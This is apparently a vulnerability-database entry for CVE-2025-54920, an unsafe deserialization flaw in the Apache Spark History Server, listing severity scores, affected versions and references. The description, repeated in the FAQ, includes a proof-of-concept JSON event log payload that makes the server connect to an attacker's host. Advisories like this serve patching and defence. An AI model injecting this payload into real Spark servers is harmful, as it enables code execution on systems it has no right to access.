CVE-2025-54920
CVE-2025-54920 is a high-severity vulnerability in Apache Spark with a CVSS 3.x base score of 8.8. It is not currently listed as actively exploited by CISA, and its EPSS exploit-prediction score is low. The underlying weakness is classified as CWE-502.
Key facts
- Severity: High (CVSS 3.x base score 8.8)
- EPSS exploit prediction: 5% (92nd percentile)
- Actively exploited: Not listed in CISA KEV
- EU (EUVD) id: EUVD-2025-208669
- Weakness: CWE-502
- Affected product: Apache Spark
- Published:
- Last modified:
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Frequently asked questions
- What is CVE-2025-54920?
- This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- How severe is CVE-2025-54920?
- CVE-2025-54920 has a CVSS 3.x base score of 8.8, rated high severity. It is exploitable over network with low attack complexity, requires low privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.
- Is CVE-2025-54920 being actively exploited?
- It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 5% (92nd percentile), an estimate of the probability of exploitation in the next 30 days.
- What products are affected by CVE-2025-54920?
- CVE-2025-54920 primarily affects Apache Spark. In total, 10 product configurations (CPEs) are listed as vulnerable; see the affected-products list for the exact versions.
- How do I fix CVE-2025-54920?
- Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Given its high severity, prioritise patching exposed systems.
- Does CVE-2025-54920 have an EU (EUVD) identifier?
- Yes. CVE-2025-54920 is tracked in the ENISA EU Vulnerability Database (EUVD) as EUVD-2025-208669.
- When was CVE-2025-54920 published?
- CVE-2025-54920 was published on 2026-03-16 and last updated on 2026-06-17.
References
- https://github.com/apache/spark/pull/51312
- https://github.com/apache/spark/pull/51323
- https://issues.apache.org/jira/browse/SPARK-52381
- https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s
- http://www.openwall.com/lists/oss-security/2026/03/13/4
Affected products (10)
- cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*
- cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*
More vulnerabilities in Apache Spark
- CVE-2020-9480 — Critical (CVSS 9.8): In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication…
- CVE-2018-17190 — Critical (CVSS 9.8): In all versions of Apache Spark, its standalone resource manager accepts code to execute on a 'master' host, that then…
- CVE-2019-20445 — Critical (CVSS 9.1): HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second…
- CVE-2023-32007 — High (CVSS 8.8): ** UNSUPPORTED WHEN ASSIGNED ** The Apache Spark UI offers the possibility to enable ACLs via the configuration option…
- CVE-2022-33891 — High (CVSS 8.8): The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an…
- CVE-2017-12612 — High (CVSS 7.8): In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket.…
All CVEs affecting Apache Spark →
Other CWE-502 (Deserialization of Untrusted Data) vulnerabilities
- CVE-2026-41104 — Critical (CVSS 10.0): Deserialization of untrusted data in Microsoft Planetary Computer Pro allows an unauthorized attacker to disclose…
- CVE-2026-43633 — Critical (CVSS 10.0): HestiaCP versions 1.9.0 through 1.9.4 contain a deserialization vulnerability in the web terminal component caused by a…
- CVE-2026-33819 — Critical (CVSS 10.0): Deserialization of untrusted data in Microsoft Bing allows an unauthorized attacker to execute code over a network.
- CVE-2026-20131 — Critical (CVSS 10.0): A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could…
- CVE-2026-25632 — Critical (CVSS 10.0): EPyT-Flow is a Python package designed for the easy generation of hydraulic and water quality scenario data of water…
- CVE-2025-14931 — Critical (CVSS 10.0): Hugging Face smolagents Remote Python Executor Deserialization of Untrusted Data Remote Code Execution Vulnerability.…
Browse all CWE-502 (Deserialization of Untrusted Data) vulnerabilities →